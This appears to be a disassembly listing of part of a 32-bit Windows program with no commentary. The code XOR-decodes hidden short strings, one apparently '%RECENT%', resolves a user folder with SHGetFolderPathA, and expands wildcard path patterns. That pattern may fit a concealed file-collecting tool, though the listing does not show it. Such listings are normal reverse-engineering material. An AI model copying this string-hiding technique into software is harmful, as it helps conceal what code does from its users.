cmp esi, 0xfffffffc
je 0x449ada
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x449ad3
cmp esi, 0xfffffffd
je 0x449ada
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x449ad3
cmp esi, 0xfffffffe
je 0x449ada
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x449ad3
cmp esi, 0xffffffff
je 0x449ada
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x449ada
sbb eax, eax
or eax, 1
jmp 0x449adc
xor eax, eax
test eax, eax
je 0x449afe
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449a86
jmp 0x449b22
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x449b22
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x12
je 0x449b5b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449b51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449b93
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449b89
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov dword [ebp - 0xa8], 0x5154422a
xor ecx, ecx
mov dword [ebp - 0xa4], 0x33415a56
mov word [ebp - 0xa0], 0x100
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xa8], al
inc ecx
cmp ecx, 8
jb 0x449bb2
lea edx, [ebp - 0xa8]
mov byte [ebp - 0x9f], 0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x449bd3
sub edx, ecx
lea eax, [ebp - 0xa8]
cmp dword [ebp - 0x5c], 0x10
lea ecx, [ebp - 0x70]
push edx
cmovae ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x60]
push eax
push 0
call fcn.0046a520
add esp, 0xc
test eax, eax
jne 0x449e53
push 0x104
push eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
push 8
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449c50
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x14
xor ecx, ecx
mov dword [ebp - 0xb2], 0x5154422a
mov dword [ebp - 0xae], 0x33415a56
mov word [ebp - 0xaa], 0x100
nop dword [eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 8
jb 0x449c90
xorps xmm0, xmm0
mov byte [ebp - 0xa9], 0
lea ecx, [ebp - 0xb2]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449cc6
sub ecx, edx
lea eax, [ebp - 0xb2]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
lea edi, [ebp - 0x70]
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmovae ecx, edx
mov eax, dword [ebp - 0x60]
setae byte [ebp - 0x11]
cmp dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x18], edx
cmovae edi, dword [ebp - 0x70]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], edi
cmp esi, eax
ja 0x449de5
sub eax, esi
test esi, esi
jne 0x449d23
xor edi, edi
jmp 0x449dc9
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x449de2
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x449d61
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x449d66
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449d50
cmp esi, 0xfffffffc
je 0x449d9a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x449d93
cmp esi, 0xfffffffd
je 0x449d9a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x449d93
cmp esi, 0xfffffffe
je 0x449d9a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x449d93
cmp esi, 0xffffffff
je 0x449d9a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x449d9a
sbb eax, eax
or eax, 1
jmp 0x449d9c
xor eax, eax
test eax, eax
je 0x449dbe
mov eax, dword [ebp - 0x3c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x38]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449d46
jmp 0x449de2
sub edi, dword [ebp - 0x1c]
cmp edi, 0xffffffff
je 0x449de2
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x18]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x14
je 0x449e1b
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x449e11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449e53
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x449e49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebp - 0x170]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x174]
imul ecx
mov dword [ebp - 0x3c], 0
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44a441
xor edi, edi
mov dword [ebp - 0x18], edi
mov esi, dword [ebp - 0x174]
add esi, edi
cmp dword [esi + 0x14], 0x10
mov eax, dword [esi + 0x10]
jb 0x449e95
mov esi, dword [esi]
test eax, eax
je 0x44a110
push eax
push 0x2a
push esi
call fcn.004df7d0
add esp, 0xc
test eax, eax
je 0x44a110
sub eax, esi
cmp eax, 0xffffffff
je 0x44a110
mov dword [ebp - 0x82], 0x3b3c3e27
xor ecx, ecx
mov word [ebp - 0x7e], 0x100
nop
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x82], al
inc ecx
cmp ecx, 4
jb 0x449ed0
xorps xmm0, xmm0
mov byte [ebp - 0x7d], 0
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449f03
sub ecx, edx
lea eax, [ebp - 0x82]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x9e]
xorps xmm0, xmm0
mov word [ebp - 0x9e], 0x2a
mov byte [ebp - 0x9c], 0
lea edx, [ecx + 1]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449f50
sub ecx, edx
lea eax, [ebp - 0x9e]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x34]
mov esi, dword [ebp - 0x174]
mov edx, dword [ebp - 0x34]
add esi, edi
cmp dword [ebp - 0x20], 0x10
mov edi, esi
mov dword [ebp - 0x7c], esi
cmovae ecx, edx
mov dword [ebp - 0x1c], edx
mov eax, dword [esi + 0x10]
setae byte [ebp - 0x11]
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], esi
jb 0x449fa2
mov edi, dword [esi]
mov dword [ebp - 0x38], edi
mov esi, dword [ebp - 0x24]
cmp esi, eax
ja 0x44a093
sub eax, esi
test esi, esi
jne 0x449fba
xor edi, edi
jmp 0x44a077
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x168], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a090
mov edx, dword [ebp - 0x40]
mov ecx, edi
sub esi, 4
jb 0x44a001
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x44a00a
add ecx, 4
add edx, 4
sub esi, 4
jae 0x449ff0
cmp esi, 0xfffffffc
je 0x44a03e
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x44a037
cmp esi, 0xfffffffd
je 0x44a03e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x44a037
cmp esi, 0xfffffffe
je 0x44a03e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x44a037
cmp esi, 0xffffffff
je 0x44a03e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x44a03e
sbb eax, eax
or eax, 1
jmp 0x44a040
xor eax, eax
test eax, eax
je 0x44a06c
mov eax, dword [ebp - 0x168]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x98]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x449fe3
jmp 0x44a090
sub edi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x44a090
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x7c]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x1c]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x16
je 0x44a0c9
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a0bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x449e82
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a0fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
mov edi, dword [ebp - 0x18]
add esp, 8
jmp 0x449e82
add edi, dword [ebp - 0x174]
xor ecx, ecx
mov dword [ebp - 0x88], 0x3b3c3e27
mov word [ebp - 0x84], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 4
jb 0x44a130
lea esi, [ebp - 0x88]
mov byte [ebp - 0x83], 0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x44a151
mov edx, dword [edi + 0x10]
sub esi, ecx
cmp dword [edi + 0x14], 0x10
jb 0x44a165
mov edi, dword [edi]
push esi
lea eax, [ebp - 0x88]
mov ecx, edi
push eax
push 0
call fcn.0046a520
add esp, 0xc
cmp eax, 0xffffffff
je 0x44a40c
mov dword [ebp - 0x8e], 0x3b3b3e27
xor ecx, ecx
mov word [ebp - 0x8a], 0x100
nop word [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x8e], al
inc ecx
cmp ecx, 4
jb 0x44a1a0
xorps xmm0, xmm0
mov byte [ebp - 0x89], 0
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a1d6
sub ecx, edx
lea eax, [ebp - 0x8e]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.00402810
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x94], 0x3b3c3e27
mov word [ebp - 0x90], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0xf
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 4
jb 0x44a210
xorps xmm0, xmm0
mov byte [ebp - 0x8f], 0
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a246
sub ecx, edx
lea eax, [ebp - 0x94]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402810
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x19
add esi, dword [ebp - 0x174]
cmp dword [ebp - 0x20], 0x10
mov edi, esi
mov edx, dword [ebp - 0x34]
cmovae ecx, edx
mov dword [ebp - 0x40], esi
mov eax, dword [esi + 0x10]
setae byte [ebp - 0x11]
cmp dword [esi + 0x14], 0x10
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x38], esi
jb 0x44a299
mov edi, dword [esi]
mov dword [ebp - 0x38], edi
mov esi, dword [ebp - 0x24]
cmp esi, eax
ja 0x44a38f
sub eax, esi
test esi, esi
jne 0x44a2b1
xor edi, edi
jmp 0x44a373
movsx ecx, byte [ecx]
inc eax
add eax, edi
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x98], eax
sub eax, edi
push eax
push ecx
push edi
call fcn.004df7d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x44a38c
nop word [eax + eax]
mov ecx, dword [ebp - 0x7c]
mov edx, edi
sub esi, 4
jb 0x44a301
nop word [eax + eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x44a306
add edx, 4
add ecx, 4
sub esi, 4
jae 0x44a2f0
cmp esi, 0xfffffffc
je 0x44a33a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x44a333
cmp esi, 0xfffffffd
je 0x44a33a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x44a333
cmp esi, 0xfffffffe
je 0x44a33a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x44a333
cmp esi, 0xffffffff
je 0x44a33a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x44a33a
sbb eax, eax
or eax, 1
jmp 0x44a33c
xor eax, eax
test eax, eax
je 0x44a368
mov eax, dword [ebp - 0x98]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x168]
push edi
call fcn.004df7d0
mov esi, dword [ebp - 0x24]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x44a2e0
jmp 0x44a38c
sub edi, dword [ebp - 0x38]
cmp edi, 0xffffffff
je 0x44a38c
mov esi, dword [ebp - 0x24]
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push dword [ebp - 0x48]
cmovae eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x40]
push eax
push esi
push edi
call fcn.00467790
mov edx, dword [ebp - 0x1c]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x18
je 0x44a3c5
mov ecx, dword [ebp - 0x20]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x44a3bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x44a110
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a3fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
mov edi, dword [ebp - 0x18]
add esp, 8
jmp 0x44a110
mov ecx, dword [ebp - 0x170]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x174]
mov esi, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x18]
inc esi
imul ecx
add edi, 0x18
mov dword [ebp - 0x3c], esi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x18], edi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x449e82
sub esp, 0xc
lea eax, [ebp - 0x174]
mov ecx, esp
mov dword [ebp - 0x7c], esp
push eax
call fcn.00463d80
sub esp, 0xc
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x98], esp
mov ecx, esp
push eax
call fcn.00463d80
lea eax, [ebp - 0x198]
mov byte [ebp - 4], 0x1b
mov esi, dword [ebp - 0x164]
push eax
sub esp, 0x18
shl esi, 0xa
lea eax, [ebx + 8]
mov dword [ebp - 0x164], esp
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x70]
mov ecx, esp
push eax
call fcn.00465030
mov cl, byte [ebp - 0x75]
mov edx, esi
mov byte [ebp - 4], 9
call fcn.00447750
add esp, 0x4c
lea ecx, [ebp - 0x174]
call fcn.00467220
lea ecx, [ebp - 0x1bc]
call fcn.00467220
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x44a509
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a4ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0x10
jb 0x44a559
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a54f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x19c], 0xf
mov byte [ebp - 0x1b0], 0
cmp ecx, 0x10
jb 0x44a5b2
mov edx, dword [ebp - 0x1d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a5a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov eax, dword [ebp - 0x194]
movzx eax, byte [eax]
sub eax, 1
je 0x44a5dc
sub eax, 1
je 0x44a5d0
inc dword [ebp - 0x188]
jmp 0x448b14
add dword [ebp - 0x18c], 0x10
jmp 0x448b14
mov eax, dword [ebp - 0x190]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
call fcn.004664e0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x190], eax
jmp 0x448b14
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x44a62f
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a625
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44a696
push ecx
push edx
call fcn.004dc002
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call fcn.004dafab
mov ecx, eax
call fcn.00466d00
push eax
lea ecx, [ebp - 0x58]
call fcn.00402700
push eax
mov edx, str.type_must_be_boolean__but_is
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x34]
call fcn.00468e90
add esp, 4
push eax
mov edx, 0x12e
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2fc]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x2fc]
push 0x530038
push eax
call fcn.004dd9eb
call fcn.004e12a0
int3